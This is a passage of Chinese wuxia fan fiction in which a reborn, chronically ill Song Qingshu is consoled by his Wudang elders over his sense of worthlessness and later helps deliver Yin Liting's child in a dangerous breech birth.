宋青书握着温热的瓷碗,指尖无意识地在碗壁上摩挲。他抬起眼,对殷梨亭笑了笑,那笑容标准而苍白:“让六叔挂心了,我没事。只是……有些乏。” 俞莲舟观察得更细致。他发现宋青书避开人群独处的时间变长了。有一次,俞莲舟远远看见他立在紫霄殿后的廊下,望着远处山峦叠翠,一动不动,侧影浸在午后过于明亮的阳光里,却透出一种与周遭生机格格不入的孤清。风过时,他抬手掩唇,几声压抑的闷咳从指缝漏出,肩膀微微塌了下去,那瞬间的背影,竟有种不堪重负的脆弱。 莫声谷直肠子,私下里急得团团转,扯着俞莲舟的袖子:“二哥,你瞧青书那样子!药也吃了,补也补了,咱们谁也没短着他,他怎么就……就不见个敞亮笑模样?憋也憋坏了!” 张无忌眉头深锁,从医者的角度,他能理解久病伤身亦伤神的道理。可他以九阳真气探入宋青书经脉时,除了肺脉仍有细微的滞涩,其余虽弱,却已归于平顺。那沉郁的源头,似乎并非单纯的病气。他想起前世那些模糊的、充满偏执与痛苦的影子,再看看眼前这个清白却暮气沉沉的师兄,心中复杂难言。他能驱寒毒,疗内伤,却不知该如何熨帖一颗仿佛自行沉入水底的心。 这日午后,张三丰信步来到宋青书休憩的小院。院中老松如盖,石桌上摆着未动几口的点心和半盏温茶。宋青书倚在竹榻上,手里握着一卷书,目光却落在松针间隙漏下的细碎光斑上,神思不属。轻微的、断断续续的咳嗽,不时打断周遭的宁静。 张三丰没有惊动他,在另一侧的石凳上坐下,捻起一枚棋子,在棋盘上轻轻落定。 清脆的玉石之声让宋青书蓦然回神,慌忙要起身:“太师父……” “坐着。”张三丰温声道,目光掠过他消瘦的下颌和眼下淡淡的青影,“陪太师父手谈一局?不必费神,随意即可。” 棋局摆开。宋青书执白,落子规整,却失了往日灵动缜密的算路,很快便被黑棋困住一角。他并不急躁,也不挣扎,只默默投子,又默默布下新的防线,姿态顺从得近乎消极。咳嗽仍不时打扰他,他便偏过头,用袖子掩住,再转回时,眼神空茫。 张三丰并不急着赢他,黑子落下,往往留有余地。下了约莫半个时辰,棋盘上黑白交错,白棋虽处下风,却因黑棋的“放纵”而未曾溃败。 忽然,宋青书执子的手停在半空,目光凝在棋盘某处,却并非在思考棋路。良久,他极轻地、几乎像是自语般开口:“太师父……弟子是不是……很没用?” 他的声音很平静,甚至没什么起伏,却像一根极细的针,猝然刺破了午后慵懒的空气。 张三丰落子的手微微一顿,抬眼看他。 宋青书没有抬头,依旧盯着棋盘,睫毛垂着,在苍白的脸上投下淡淡的阴影。“一场风寒,便成了这副模样。累得太师父、各位师叔、无忌师弟日夜悬心,耗费无数心力珍药……却连个咳嗽都好不利索。如今……如今连我自己,都厌烦这身子。”他顿了顿,喉结滚动了一下,像是咽下更苦涩的东西。 最后几个字,轻飘飘的,却重若千钧。 原来症结在此。不是疼痛,不是虚弱,而是这缠绵不去、提醒着他无能与累赘的病根,消磨了他原本清傲的心气,也碾碎了他坦然接受关怀的底气。他觉得那关爱太重,自己这副破败的身躯,已然承托不起。 一阵风过,松涛阵阵。宋青书又侧首咳了起来,这次咳得久了些,单薄的脊背弯成一道脆弱的弧线。 张三丰没有立刻说话,只是静静看着他咳完,看着他因用力而泛红的眼尾和急促的呼吸。待他喘息稍平,老人才缓缓开口,声音如古井无波: “青书,你瞧这松。”他指了指院中那株苍劲的古松,“它幼时,也曾被虫蛀,被风雪压弯枝桠,留下疤痕,甚至枯过半边。你看它现在,可觉得它无用?可厌烦它身上那些疤痕?” 宋青书怔怔望去。 “人亦如树。病痛是风雪,是虫蠹,留下的痕迹,便是你的年轮,你的疤。”张三丰的目光温和而深邃,仿佛能穿透他紧绷的皮肉,看到内里那颗畏缩自厌的心,“武当首徒,首在何处?在心正,在志坚,不在躯壳完美无瑕。你师祖我,百岁之身,一样会打喷嚏,会腰酸背痛,莫非我也名不副实?” “可是……”宋青书嘴唇翕动,眼眶有些发热,“我让您们担心……我成了拖累……” “担心,是人之常情。你病时,我们担心;你郁结于心,我们更担心。”张三丰轻轻叹了口气,这声叹息里没有失望,只有无尽的包容,“青书,你总想着‘不该如此’,想着‘快点好起来回报’,这念头本身,便是绑住你的绳索。你咳,便让它咳;你无力,便承认无力;你心里堵着,便告诉我们,堵着什么。武当山这么大,难道还容不下你几声咳嗽,一点愁绪?” 棋子从宋青书指间滑落,“嗒”一声轻响落在棋盘上,滴溜溜转了几圈。 他猛地抬起头,一直强撑的平静面具终于出现裂痕,眼圈迅速红了,眼底翻涌着长久以来压抑的委屈、羞愧、还有一丝茫然无措。他看着太师父雪白的须发和澄澈的眼眸,那里面没有责备,没有失望,只有一种近乎慈悲的了然。 “我……”他想说什么,喉头却被更汹涌的情绪哽住,只剩下肩膀难以抑制的轻颤。 张三丰伸出手,没有拍他的肩,只是用温暖干燥的掌心,轻轻覆在他放在石桌边、微微发抖的手背上。 “让那口气,顺过来。”老人的声音低沉而有力,像山间沉稳的钟鸣,“不必急着好,不必急着笑。武当养一个生病的孩子,养一个心里不痛快的徒孙,还养得起。” 风渐渐停了。院中只剩下松针摩挲的沙沙细响,和宋青书终于无法压制、低低逸出的一声哽咽,混合着断续的、释然般的轻咳。 远处,回廊转角,不放心悄悄跟来的殷梨亭和莫声谷停住了脚步。俞莲舟不知何时也站在那里,对他们轻轻摇了摇头,做了个噤声的手势。 三人默默望着松荫下那一老一少的身影,望着宋青书微微抽动的肩膀和太师父始终覆在他手背上的手,心中那团焦急的火,似乎被这沉静的一幕悄然浇熄了些,化作一声悠长的、混杂着疼惜与希望的叹息。 至少,那口气,那口憋在肺里、也憋在心里的郁气,终于开始寻着缝隙,往外透了。 山风大了些,吹得人衣袂猎猎作响,也吹散了宋青书唇边逸出的低咳。 紫霄殿后,穿过一片疏朗的古松林,有一处向外探出的悬崖。崖边凿平了丈许见方,设了石桌石凳,平日里是观云海、悟剑理的好去处。此刻,崖前云海翻腾,如涛似浪,初升的日光给云层镀上金红瑰丽的边,变幻莫测。 宋青书就坐在最靠外的那张石凳上。他穿着一身素白的道袍,是病中常穿的那件,此刻被山风灌满,紧贴着他清减了许多的身形,又倏然鼓荡开来,远远望去,那单薄的身影仿佛随时会融入那浩渺的云气之中,飘飘然欲乘风归去。他没有束冠,长发只用一根素带松松系着,几缕发丝挣脱出来,在风中凌乱飞舞,拂过他过于苍白的脸颊和淡色的唇。 他坐得很静,背脊挺直,是自幼习武刻入骨子里的仪态,却莫名透出一股脆弱的倔强。目光落在无垠的云海深处,眼神空茫,映着天光云影,却似乎什么也没看进去。山风带着沁骨的凉意,灌入他微敞的领口,激得他喉头一阵发痒。 他侧过头,用手虚虚掩住口,压抑地咳了几声。那咳嗽声不高,甚至有些闷,混在呼啸的风声里几乎听不真切,却带着一种筋疲力尽的沙哑,每一声都像是从肺腑深处艰难地掏出来。咳完了,他肩胛微微起伏,缓了几息,又恢复了那种近乎凝固的静默,仿佛刚才的咳嗽只是云海偶然泛起的一个无关紧要的泡沫。 莫声谷远远就看到了这个背影。 他是听说青书往这边来了,心里放不下,便一路寻来。此刻,他隐在一株粗壮的老松后面,没敢立刻上前。那背影周遭弥漫的气息让他心头莫名发紧——不是虚弱,而是一种抽离,一种与脚下坚实山石、与身后热闹人间都格格不入的疏离。 山风更烈了,卷起崖边的细小砂石,打在松针上唰唰作响。宋青书的袍角被风扯得笔直,他整个人也像是风中一片摇摇欲坠的叶子。莫声谷看见他又咳嗽起来,这次似乎没掩住,咳声断断续续,被风撕扯得零落,他不得不稍稍弯下腰,一手撑住了冰冷的石桌边缘,指节用力到泛白。 那单薄的肩膀在宽大的道袍下耸动,像承受不住某种无形的重量。莫声谷的心一下子提到了嗓子眼。他几乎能想象出那胸腔里是怎样的窒闷和撕扯。更让他心慌的是,宋青书咳完之后,并没有立刻直起身,反而保持着那个微微前倾的姿势,目光依旧投向深渊般的云海,侧脸被天光映照,有种近乎透明的苍白,仿佛下一刻就要碎裂、消散在风里。 莫声谷也不知是气他不知爱惜身体,还是恼他这副了无生气的模样。他再也按捺不住,从松树后大步走了出来,脚步声故意放得重了些。 “青书!” 宋青书似乎微微一怔,缓缓直起身,转过头来。看到是莫声谷,他眼中掠过一丝极淡的、类似被打扰的恍惚,随即又恢复成那种温和而疏离的平静。“七叔。”他开口,声音被风送过来,显得轻飘乏力,还带着咳嗽后的微哑。 莫声谷几步走到他跟前,想伸手去扶他,又觉得不妥,手在半空僵了一下,转而重重拍在冰凉的石桌上。“这么大的风,你跑这儿来坐着?不要命了!”他的语气是惯常的急躁,却掩不住底下的担忧,“瞧瞧你这脸色,跟这石头一个颜色!回去,立刻跟我回去!” 宋青书看着他,唇边似乎想弯出一个安抚的弧度,却终究没有成功。他又转回头去看云海,声音轻得像叹息:“这里的云……好看。安静。” “安静个屁!”莫声谷更急了,“风大得能把人吹下去!你病还没好利索,再染了寒气,咳嗽还想不想好了?”他顿了顿,看着侄子消瘦的侧影,心头那股火气忽然被一种更深的无力感取代,声音不由自主地低了下来,带着罕见的、近乎笨拙的恳切,“青书,听七叔的,回去。屋里暖和,药也快煎好了。你想看云,等你好透了,七叔天天陪你来,看多久都成。” 宋青书沉默着。风卷起他额前的散发,露出一双沉寂的眼。那眼底深处,莫声谷似乎看到一丝极淡的疲惫,不是身体的,而是从骨髓里渗出来的,对这一切——病痛、关切、甚至对“好透”这个期盼——的深深倦怠。 他又轻轻咳了两声,这次用手背抵住了唇,咳得眉头微蹙。 每一声咳,都像小锤子敲在莫声谷心上。他再也顾不得许多,一把抓住宋青书的手臂。触手冰凉,且那手臂纤细得让他心惊。“走,跟我回去。”他的动作带着不容置疑的力道,却在下意识地控制了力度,生怕捏疼了他。 宋青书没有挣扎,任由他扶着站起来。起身的瞬间,他似乎晃了一下,莫声谷立刻更紧地稳住他,另一只手虚虚环在他背后,形成一个保护的姿态。 山风呼啸着从他们身边掠过,吹得两人衣发纠缠。宋青书最后看了一眼那浩瀚翻腾、仿佛能吞噬一切的云海,然后顺从地,被莫声谷半扶半护着,转身离开悬崖边。 他走得很慢,脚步有些虚浮,倚在莫声谷臂膀上的重量轻得让人心疼。那身白衣在苍翠的山林背景下,依旧显得那么醒目,那么……易碎。不再是悬崖边那种即将羽化的飘渺,而是终于被拉回人间的、实实在在的脆弱。 莫声谷扶着他,感受着手臂上传来的微颤和压抑的呼吸声,心头沉甸甸的。他嘴笨,不知道还能说什么,只能更稳地撑住他,用自己高大的身形替他挡去一些侧面的寒风,一步一步,朝着有烟火气、有药香、有关切目光等待着的院落走去。 莫声谷的手臂坚实有力,带着常年习武的劲道,环过宋青书的膝弯和后背时,却刻意放柔了七分。那动作突如其来,带着不容拒绝的果断,却又在真正触碰到那副过分清瘦的身躯时,透出一丝微不可察的僵硬和小心。 宋青书显然没料到七叔会直接如此。身体骤然离地悬空,他低低地惊呼了一声,下意识地抬手,虚虚扶住了莫声谷宽阔的肩膀。指尖隔着衣料,能感受到布料下紧绷的肌肉和温热的力量。他整个人都僵住了,苍白的面颊蓦然浮起一层极淡的、因窘迫和意外而生的红晕,但很快又被病容的底色压了下去。他想要说“七叔,我自己能走”,可喉间被山风激起的痒意尚未平复,刚一开口,便化作一串压抑不住的闷咳,身子也随之轻颤起来。 这咳嗽声让莫声谷眉头锁得更紧,手臂却收得更稳当了些。他抱着宋青书,感觉怀里的分量轻飘飘的,像抱着一捧羽毛,又像抱着一块冰凉的玉,唯恐手劲重了便要碎了。他不再多言,也不理会侄子那点微弱的、象征性的挣扎,转过身,大步流星地往回走。脚步踏在山径石阶上,稳而快,却每一步都落得异常扎实,尽量避免颠簸。 宋青书起初还有些无措,但咳嗽耗费了他本就所剩无几的气力,也让他意识到自己此刻的虚弱。他慢慢松开了抓着莫声谷肩膀的手,垂下眼帘,长长的睫毛在眼下投出疲惫的阴影。他将头微微侧向莫声谷的胸膛,那里传来沉稳有力的心跳,还有属于七叔的、混合着阳光和青草气息的温暖。山风被莫声谷高大的身形挡住大半,耳畔呼啸的风声也渐渐远了。一种久违的、近乎稚童般的被庇护感,混杂着因病弱而生的无力与羞惭,沉甸甸地漫上心头。 莫声谷一路沉默,薄唇抿成一条线,只有额角隐隐有汗意,不知是走得急,还是因这份过于轻又过于珍贵的“负担”而紧张。他径直穿过庭院,无视了几个洒扫弟子讶异又恭敬的目光,一脚踢开宋青书虚掩的房门,走了进去。 屋内药香与安息香的气息尚未散去,暖意扑面而来。午后的阳光透过窗棂,在洁净的地板上切割出明亮的光斑。莫声谷径直走到床榻边,动作倏然顿住。他先是用脚尖将床前的软凳轻轻拨开,然后,极其缓慢地、几乎是屏着呼吸地弯下腰。 那放下的过程,与方才抱起的果断截然不同。他先小心地将宋青书的双腿移到床沿,手臂仍稳稳托着他的背脊,直到确认他的脚能挨着脚踏了,才一点一点,将他的上身向柔软的锦枕和厚实的被褥间倾放下去。每一个微小的调整都充满了谨慎,仿佛在安置一件稀世易碎的珍宝。他甚至抽空用手背飞快地拂了一下枕头,确保上面没有一丝褶皱会硌着他。 直到宋青书的背完全靠实在了枕上,头颈也有了妥帖的支撑,莫声谷才缓缓抽回自己的手臂。抽离时,他的指尖不经意擦过宋青书冰凉的手背,那温度让他心头又是一揪。 宋青书陷在蓬松温暖的被褥里,方才山崖边的孤清冷寂被室内的暖意迅速驱散,取而代之的是一种几乎令他鼻酸的妥帖包裹感。他抬起眼,看向站在床边的莫声谷。 莫声谷正低头看着他,那双惯常锐利如鹰隼的眼眸里,此刻翻涌着尚未平息的余悸,还有浓得化不开的担忧,以及一丝做完这一切后、不知该如何继续的笨拙。他张了张嘴,似乎想再责备两句,或是叮嘱些什么,可看着侄子苍白脸上那抹尚未完全褪去的窘红,和微微起伏的、仍在平息咳嗽余韵的胸膛,话到嘴边又咽了回去,最终只化作一声粗声粗气的: “躺着,别动。” 说着,他俯身,拉过一旁的锦被,动作有些生硬,却异常仔细地将宋青书从肩膀到脚踝盖得严严实实,边角都压实了,不透一丝风。然后直起身,又盯着他看了两秒,才像是完成了什么重大任务般,长长地、几不可闻地舒了一口气。 阳光从窗外斜斜照进来,恰好笼在床榻一角,也将莫声谷半边挺拔的身影投在地上。尘埃在光柱里静静浮动。 宋青书裹在温暖的被褥中,看着七叔额角那一点亮晶晶的汗意,和他眼中尚未完全褪去的紧张,喉咙里堵着千言万语,最终只化作一句低低的、带着咳后沙哑的: “谢谢七叔。” 莫声谷听了,似乎有些别扭地转开了视线,胡乱“嗯”了一声,目光扫过桌上半凉的茶水,眉头又皱起来:“药呢?是不是该送来了?我看看去。” 说罢,像是找到了借口,转身便大步朝门外走去,脚步依旧很快,却似乎比来时,多了几分踏实。 房门被轻轻带上,隔绝了外间的声响。宋青书独自躺在满室暖光与药香里,听着自己逐渐平缓下来的呼吸,和胸腔深处那依旧隐隐的、却不再那么尖锐的滞涩感。身体依旧虚弱,心口那块沉郁的巨石,却仿佛被莫声谷那坚实的一抱,和此刻周身密不透风的温暖,悄然撬开了一丝缝隙。 他闭上眼,指尖无意识地蜷缩,触碰到柔软干燥的被面。那上面,似乎还残留着七叔手臂传来的、令人安心的力道和温度。 也许……也许可以…… 不……不可以…… 宋青书的心里除了一份难以言喻的情感重压,还有另一层阴翳,始终盘踞在他心头,日益清晰,啃噬着他残存的、对自身价值的最后一点认知。 念力。 那曾经充盈于四肢百骸、灵动而强大的念力,感知万物,御使细微,是天赋,也是他曾暗自依仗、甚至引以为傲的资本。 可自重生醒来,尤其在屠狮大会重伤之后,他便清晰地感觉到——空了。 随之而来的是这具躯体的不堪。动不动就头晕目眩,走几步路便气喘吁吁,深秋一点凉风就能让他咳上半天,手脚常年冰凉,喝下再好的补药也像泥牛入海,激不起多少生机。镜子里的自己,脸色苍白,眼窝深陷,瘦得脱形,连昔日勉强可称俊朗的轮廓都变得模糊脆弱。 一个没有了赖以依仗的独特能力,又拖着这样一副风吹就倒的病骨,活着已属勉强,还能做什么? 前世他纵然万劫不复,至少还有一身不俗的武功,有急智,有狠劲,甚至有不惜一切的偏执。可如今呢?他连剑都提不稳,走多了路都需要人搀扶,整日与药罐为伴,像个精致的、无用的瓷器,徒然耗费着武当上下的心血与关切。 太师父的宽容,父亲的悲痛,诸位师叔的尽力周全,七叔那沉重到让他无法承受的情感……他们对他越好,他心底那份“自己不配”、“自己无用”的念头就越是疯长。他凭什么得到这些?凭这副废躯?凭这空空如也的魂魄? 这种认知比单纯的悔恨更令人绝望。悔恨指向过去,尚有“知错”可言;而无用感却扼杀未来,让人看不到一丝一毫存在的价值与可能。他常常在无人时,望着自己苍白细瘦、连薄茧都因久病而褪去的手掌,怔怔出神,眼神空茫得吓人。那低低的、仿佛永无止境的闷咳,似乎也成了这无用躯壳唯一还能发出的、证明自己尚未彻底死去的声响。 71. 剑影刀光随风散 这一日,天气难得放晴,深秋的阳光有了些许暖意,透过廊檐,在地上画出明亮的光斑。宋青书被莫声谷半劝半扶地带到后山一处向阳的缓坡上坐着,身下垫着厚厚的褥子,腿上盖着薄毯。莫声谷本意是让他散散心,看看山色,自己则在稍远处演练一套新近琢磨的剑法,剑气破空之声清越,身形矫健。 可宋青书只是木然地望着远处云海翻腾、山峦叠翠的壮阔景象,眼神却没有焦距。那勃勃生机,那灵动剑光,仿佛都与他隔着一层厚厚的、透明的障壁,他能看见,却丝毫感受不到。与之对比鲜明的,是自己这具坐在阳光下依旧感到寒意、连深呼吸都会引发咳嗽的残破身体。一股熟悉的、令人窒息的自我厌弃涌上心头,他下意识地蜷了蜷手指,低下头,又是一阵压抑的轻嗽。 “青书。” 温和而略显低沉的声音在身旁响起。宋青书微惊,抬眼看去,只见俞岱岩不知何时坐着轮椅,被一名弟子推了过来。阳光照在他脸上,那张曾经因重伤而黯淡多年的面容,如今虽仍有沧桑痕迹,却目光湛然,神色平和。 “三师叔。”宋青书低声唤道,想要起身行礼,却被俞岱岩摆手制止。 “就坐着,晒晒太阳挺好。”俞岱岩让弟子将轮椅停在宋青书身侧不远处,示意弟子退下。殷梨亭见俞岱岩来了,也收了剑,走过来笑着打了招呼,见俞岱岩似有话对宋青书说,便识趣地走到另一边去查看弟子们练功。 缓坡上只剩下两人,和煦的阳光,微凉的山风,以及远处隐约的松涛。 俞岱岩没有立刻说话,只是也静静地望着远山,过了好一会儿,才缓缓开口,声音不高,却字字清晰:“这山,这云,我躺在床上一动不能动的那许多年,日日想着,却看不到。” 宋青书指尖微微一颤。 俞岱岩转过头,目光平静地落在宋青书苍白消瘦的侧脸上:“后来,是你回来了。带着那……稀奇却有用的‘念力’。”他顿了顿,似乎回忆了一下,“我记得,你第一次试着帮我疏通那淤塞坏死多年的经脉时,手都在抖,额头全是汗。我说算了,太耗心神。你却不肯,说‘三师叔,让我再试一次’。” “还有你不顾自身危险,硬是去福建那里给我带来了冰魄银丝和冰魄银片。” 宋青书喉头一哽,那段记忆猛然清晰起来。那是他重生后,怀着满腔弥补的急切与惶恐,发现自己的念力竟对俞岱岩的伤势有微弱效用后,便不顾自身根基未稳,一次次尝试。每一次都耗尽心力,头晕眼花,甚至呕出血丝,可看到俞岱岩腿脚那微不可察的一点知觉恢复,他便觉得一切都值。那时的他,至少……还有用。 “一点一点,像蚂蚁啃骨头。”俞岱岩继续说着,语气里带着追忆的感慨,“从毫无知觉,到能感到针扎似的痛,到脚趾能动,到借助外力勉强站起……再到如今,我能自己摇着这轮椅,来看这山,这云。” 他的目光重新投向远方,那里云卷云舒,苍鹰盘旋。 “青书,我知道你在想什么。”俞岱岩的语气忽然变得格外沉稳有力,他转回头,目光灼灼,不容宋青书躲避,“你觉得你没了那念力,身子又成了这样,往后便是个废人,无用之人,活着只是拖累,对不对?” “又没有武功,还占着三代首徒的位置……” 宋青书被他直接点破心事,身体僵住,嘴唇动了动,却发不出声音,只能仓皇地垂下眼帘,手指无意识地揪紧了腿上的薄毯,指节泛白。 “你看,”俞岱岩却轻轻叹了口气,那叹息里没有责备,只有深切的疼惜与了然,“你总是这样。眼睛只盯着自己失去了什么,做不到什么,却从不回头看看,你已经做到了什么。” 他抬起一只手,轻轻拍了拍自己如今已能有些许知觉、支撑他坐在轮椅上的腿。 “你让我,俞岱岩,一个被医生断定终身残废、要在床上躺到死的人,重新站了起来。哪怕只是站着,哪怕离不开这轮椅,但对我来说,那就是从地狱回到了人间。”他的声音微微提高,带着一种毋庸置疑的力度,“这是你做到的。真真切切,谁也无法否认,谁也无法抹杀。” 宋青书猛地抬头,怔怔地望着俞岱岩,眼圈瞬间红了。 “所以,青书,”俞岱岩放缓了语气,像一位真正的长辈在谆谆告诫迷途的孩子,“别总去想你那念力还在不在,身子几时能恢复如初,还能不能去救谁、帮谁。那些都是往后的事,老天爷才知道。咱们就想想眼前,想想已经发生的事。” 他微微前倾了身体,目光更加恳切:“你救了我。这就够了。这就是你宋青书做下的、天大的好事。凭这一点,你就绝不是无用之人,绝不是武当的拖累。” “你还救了很多其他的人,他们都对你心存感激。” 山风拂过,带着松针的清香。阳光暖暖地照在身上,宋青书却觉得眼眶发热,视线迅速模糊起来。三师叔的话,像一道温和却坚韧的光,试图撬开他心中那块名为“无用”的巨石。 “我们……”俞岱岩看着他蓄满泪水的眼睛,声音越发柔和,却也更显郑重,“你太师父,你爹,你二师叔、四师叔、六师叔……还有你七叔。我们看着你现在这样子,心疼,远胜过其他任何情绪。我们不在乎你还能不能有通天彻地的本事,只在乎你能不能好好活着,心里别那么苦,别总是拿刀子在剐自己。” 他伸出手,似乎想拍拍宋青书的肩膀,手伸到一半,又停住了,只重重地按了一下轮椅的扶手。 “对自己,别太苛责了。你已经……做得很好了。” 最后几个字,俞岱岩说得极轻,却像带着千钧重量,沉沉地落在宋青书心头。 泪水终于冲破了堤防,汹涌而出。宋青书没有发出哭声,只是任由眼泪疯狂流淌,冲刷着苍白的脸颊。他透过朦胧的泪眼,看着俞岱岩平和而坚定的面容,看着远处殷梨亭关切望过来的身影,看着阳光下山峦亘古的轮廓…… 胸腔里那惯常的滞闷和想要咳嗽的冲动,似乎被这汹涌的泪水冲刷得淡了一些。取而代之的,是一种陌生的、微微发胀的酸涩暖意。 他救了三师叔。 这件事,他做到了。 也许……他并非真的一无是处?也许……他还可以是……有一点点用的? 这个念头细微得像风中的蛛丝,却顽强地钻进了他被黑暗和否定充斥的心田,颤巍巍地,亮起了一星极其微弱的、却真实存在的光点。 他依旧在流泪,但揪着薄毯的手指,却不知不觉,松开了一点。 俞岱岩那番话,像一粒被深秋山风偶然吹入石缝的种子,在宋青书荒芜的心田里,极其缓慢地、几乎不为人察觉地,开始尝试扎根。他依然苍白,依然虚弱,咳疾时好时坏,面对莫声谷时那份复杂的僵硬与无措也未曾消减。但偶尔,在夜深人静,被噩梦或咳嗽惊醒后,怔怔望着帐顶黑暗时,那句“你救了我”会悄然浮现,带着三师叔手掌按在轮椅上的力度,和他眼中不容错辨的真诚。 “救了他……”宋青书会在心里默念,指尖无意识地捻着被角。这认知带来一丝微弱的暖意,像雪地里呵出的一口白气,瞬间即逝,却真切存在过。他开始不那么抗拒殷梨亭扶他散步的提议,偶尔,目光会落在远处练功的弟子们身上,不再是全然的空洞,而是多了一丝极淡的、连自己都未察觉的向往。 然而,根深蒂固的“无用”感与对未来的茫然,仍如跗骨之蛆,那点暖意尚不足以融化坚冰。转折的发生,往往在最意想不到的时刻。 这一日,武当山上的平静被一阵突如其来的慌乱打破。殷梨亭的院落里,人声嘈杂,脚步纷乱,压抑的痛呼与产婆焦急的呼喊隐约传来——杨不悔要生了。 这本是喜事。可随着时间推移,气氛却越来越凝重。从房中端出的热水染上了刺目的鲜红,产婆慌慌张张地出来,对着急得团团转、脸色煞白的殷梨亭颤声道:“六、六侠……夫人她……胎位怕是有些不正,折腾了这许久,孩子……孩子先露了脚!产道已开,这、这可是要命的凶险啊!” “脚先出来?”殷梨亭如遭雷击,身形晃了晃,被一旁的张松溪一把扶住。俞莲舟脸色铁青,宋远桥急得直搓手,连闻讯赶来的张三丰,眉头也深深锁起。他们武功盖世,此刻面对妇人生产这等生死大险,却是有力无处使,束手无策。山下请来的稳婆已是附近最好的,此刻也只会念佛。 血腥气混合着焦灼的气息弥漫在院子里,杨不悔的痛呼渐渐变得微弱,却更令人心胆俱裂。殷梨亭双目赤红,几欲冲进产房,被众人死死拦住。 就在这片令人窒息的绝望中,一直默默站在廊下阴影里的宋青书,忽然抬起了头。 他的脸色比平日更白,嘴唇紧抿,目光却不再涣散,而是死死盯着那扇紧闭的、仿佛隔绝了生死的房门。耳中充斥着产婆无措的念叨、六叔痛苦的喘息、还有太师父低沉凝重的叹息…… 一个念头,如同暗夜中骤然划过的闪电,劈开他混沌的脑海: 医术。 没有念力辅助的医术也可以救人。 杨不悔痛苦的呻吟像细针,一下下扎着他的耳膜。六叔绝望的眼神灼烧着他的良心。 他还能做什么?这副病骨,这点残存的、连自己都不敢确信的记忆…… 可如果……如果试都不试…… 宋青书闭了闭眼,再睁开时,眼底那层惯有的灰败与茫然竟褪去了些许,取而代之的是一种破釜沉舟的决绝,混杂着深切的恐惧——不是怕自己再次失败或担责,而是怕来不及。 他忽然动了。 动作并不快,甚至因为久病而有些虚浮,却异常坚定。他拨开身前一个端着血水、惊慌失措的丫鬟,在众人惊愕的目光中,径直朝着那扇紧闭的产房房门走去。 “青书?”宋远桥最先反应过来,惊疑不定地唤道。 宋青书脚步未停,手已搭上了门扉。 “青书,你做什么?里面……”俞莲舟沉声喝问。 宋青书回过头,目光快速扫过父亲、诸位师叔,最后落在殷梨亭那张惨白失神、满是泪痕的脸上。他的嘴唇动了动,声音嘶哑,却异常清晰: “让我试试。” 没有解释,没有保证,只有这三个字。然后,他不等众人反应,深吸一口气,猛地推开了房门。 浓重的血腥气扑面而来。房内光线昏暗,人影惶乱。杨不悔躺在榻上,汗湿的头发粘在惨白的脸颊,气息奄奄,眼神都已有些涣散。产婆和几个帮忙的妇人围在一旁,俱是满脸惊恐,束手无策。 “出去,只留一个。”宋青书对那几个妇人道,声音不高,却带着一种不容置疑的冷硬。 产婆呆住:“你、你是……” “我是武当宋青书。”他打断她,目光落在杨不悔身上,语气急促却沉稳,“想救她,就听我的。所有人都出去,留一个手脚稳的帮我递热水、布巾。” 他的目光太过慑人,那是一种濒死之人抓住最后一根稻草般的专注与凌厉。产婆被他镇住,又见门外张三丰等人并未阻拦,反而以目光示意,忙不迭地带着其他人退了出去,只留下一个还算镇定的中年仆妇。 宋青书快步走到床前,甚至顾不上避嫌,俯身仔细查看。情况果然凶险至极,胎脚已出,产道却因长时间折磨而有些僵硬肿胀,孩子卡在那里,进退不得,母亲已力竭气微。 时间紧迫,容不得半分犹豫。 他挽起袖子,用烈酒飞快地净了手,对那仆妇急促吩咐:“按住夫人肩膀,无论发生什么,绝不能让她乱动!” 仆妇连忙照做。 宋青书凝神,摒弃所有杂念,将脑海中那些零碎、甚至有些诡异的接生手法飞快过了一遍。没有念力辅助感知胎儿具体位置和母亲体内细微变化,他只能凭借触觉、经验和一种近乎本能的判断。 他深吸一口气,将手探了过去。动作极其小心,却又带着一种稳准的力道。他的手指冰凉,触到那温热的肌肤时,杨不悔微弱地呻吟了一声。 “不悔婶婶,忍一忍。”宋青书低声道,不知是在安慰她,还是在命令自己,“为了孩子,为了六叔。” 他回忆着偶然在程青娘的医书上看到的、关于胎位倒转的“挪移”手法,那原本需要极高明的内力或念力配合,以巧劲在不伤及母体的情况下调整胎儿方位。如今他内力几近于无,更无念力,只剩下一股豁出去的狠劲和对人体结构的了解。 汗水瞬间湿透了他的鬓发和后背。他全神贯注,指尖感受着那微小生命的轮廓和卡住的位置,手腕以极其精细的角度和力度,开始尝试推送、旋转。那不仅仅是力气活,更像是在完成一件容不得半点差错的微雕。 推一点,停一下,感受反应,调整方向。再推一点…… 他额上青筋迸起,脸色由白转青,牙关紧咬,仿佛承受着巨大的痛苦。每一次细微的挪动,都耗尽他此刻本就孱弱的体力与心神。低咳被他死死压在喉咙里,憋得胸口阵阵发闷,眼前阵阵发黑。 时间仿佛被拉长了,每一息都像一个世纪。门外的人听不到里面动静,死寂得可怕,殷梨亭几乎要瘫倒在地,被张松溪和俞莲舟一左一右架着。张三丰负手而立,目光沉沉地盯着房门,周身气息凝然。 不知过了多久,也许只是一盏茶,也许有半个时辰。 就在宋青书觉得自己快要撑不住,指尖开始不受控制地颤抖时,他手下忽然感觉到一种微妙的、顺畅的变化。 成了! 他精神陡然一振,用尽最后一丝力气,配合着杨不悔本能的一次微弱宫缩,沉声对那仆妇喝道:“用力!帮夫人往下推!” 仆妇如梦初醒,连忙照做。 紧接着,一声几不可闻的、滑脱般的轻响之后—— “哇——!” 一声嘹亮而愤怒的婴儿啼哭,骤然划破了产房内令人窒息的死寂,也穿透了房门,响彻在院落之中! 生了! 是个儿子! 那仆妇惊喜交加,手忙脚乱地去处理新生儿。宋青书却像是被抽空了所有骨头,一直紧绷如铁的身体骤然松垮下来。他踉跄着后退一步,眼前金星乱冒,耳中嗡嗡作响,所有的声音——婴儿的啼哭、仆妇的欢喜、门外隐约传来的激动喧哗——都变得遥远而不真实。 他做到了…… 用这双曾经染血、如今却救了人的手…… 心头那块巨石仿佛被这嘹亮的哭声震开了一道巨大的裂缝,一直压抑着的、混杂着释然、疲惫、以及某种难以言喻的激荡的情绪轰然上涌,冲得他喉头腥甜。 他想看看那孩子,想确认杨不悔是否安好,想对门外焦急等待的六叔说一声“母子平安”…… 可所有的力气都在方才那番生死搏斗中耗尽,连支撑自己站立的意志也随之溃散。黑暗如同潮水般从四面八方涌来,迅速吞噬了他的意识。 在彻底失去知觉、向前软软倒下的前一瞬,他似乎感觉到一阵疾风掠到身边,一双坚实有力的手臂稳稳地、及时地接住了他下坠的身体。 熟悉的、带着汗味和皂角清气的气息将他包裹。 